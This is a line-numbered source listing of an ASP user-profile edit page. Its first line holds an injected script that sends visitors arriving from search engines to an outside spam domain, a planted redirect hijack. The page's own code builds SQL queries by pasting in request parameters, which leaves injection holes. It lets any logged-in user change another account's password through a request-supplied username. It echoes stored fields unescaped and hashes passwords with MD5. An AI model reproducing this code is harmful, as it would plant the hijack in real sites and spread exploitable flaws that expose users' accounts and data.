d:\wwwroot\wuchunhua\zhuce\useredit.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<%
002:
if session("Passed")<>True then
003:
response.redirect "index.asp"
004:
end if
005:
%
>
006:
<!--#include file="conn.asp"-->
007:
<!--#include file="inc/md5.asp"-->
008:
<%
'用户修改模块
009:
if request("edit")="ok" then
010:
dim rs2,sql2
011:
set rs2=server.createobject("adodb.recordset")
012:
sql2="select * from users where username='" & request("username") & "'"
013:
rs2.open sql2,conn,1,3
014:
rs2("zname")=request("zname")
015:
rs2("email")=request("email")
016:
if request("password")<>"" then rs2("password")=md5(request("password"))
017:
rs2.update
018:
rs2.close
019:
set rs2=nothing
020:
response.write "<script>alert('修改成功,请返回!');history.back();</script>"
021:
response.end
022:
end if
023:
'显示用户信息
024:
dim rs,sql,zname,email,passt
025:
set rs=server.createobject("adodb.recordset")
026:
sql="select * from users where username='" & request("username") & "'"
027:
rs.open sql,conn,1,1
028:
029:
'测试失败:错误 '80020009'原因:也是在利用SQL查找数据库记录时,查找结果为空,而且你在后面的代码中调用了rs(“aa”)之类的记录 解决:要么同上,加
030:
if rs("admin")=1 and session("username")<>rs("username") then
031:
rs.close
032:
set rs=nothing
033:
conn.close
034:
set conn=nothing
035:
response.write "<script>alert('管理员之间不能相互修改资料,请返回!');history.back();</script>"
036:
response.end
037:
else
038:
username=rs("username")
039:
zname=rs("zname")
040:
email=rs("email")
041:
passt=rs("passt")
042:
rs.close
043:
set rs=nothing
044:
conn.close
045:
set conn=nothing
046:
end if
047:
%
>
048:
<html>
049:
<head>
050:
<title>用户基本信息</title>
051:
<style>
052:
div {
053:
text-indent: 400px;
054:
height: 30px;
055:
}
056:
</style>
057:
<!--mstheme-->
<link rel="stylesheet" type="text/css" href="../_themes/sky/sky1011-106.css"><meta name="Microsoft Theme" content="sky 1011, default">
058:
</head>
059:
<body>
060:
<form method="post" action="useredit.asp?edit=ok">
061:
<input type="hidden" name="username" value="
<%
=username
%
>" />
062:
<div style="text-indent: 500px;padding-bottom: 10px;">用户基本信息</div>
063:
<div>用 户 名:
<%
=username
%
></div>
064:
<div>密 码: <input type="password" name="password" /> * 不填可留空</div>
065:
<div>真实姓名: <input type="text" name="zname" value="
<%
=zname
%
>"></div>
066:
<div>邮 箱: <input type="text" name="email" value="
<%
=email
%
>" /></div>
067:
<div>密码提示:
<%
=passt
%
></div>
068:
<div>密码回答: *************</div>
069:
<div><input type="submit" value="修改" /> <input type="button" value="我的界面" onclick="window.location='index.asp'" />
<%
if session("admin")=1 then
%
><input type="button" value="管理界面" onclick="window.location='userlist.asp'" />
<%
end if
%
></div>
070:
</form>
071:
</body>
072:
</html>
073:
074: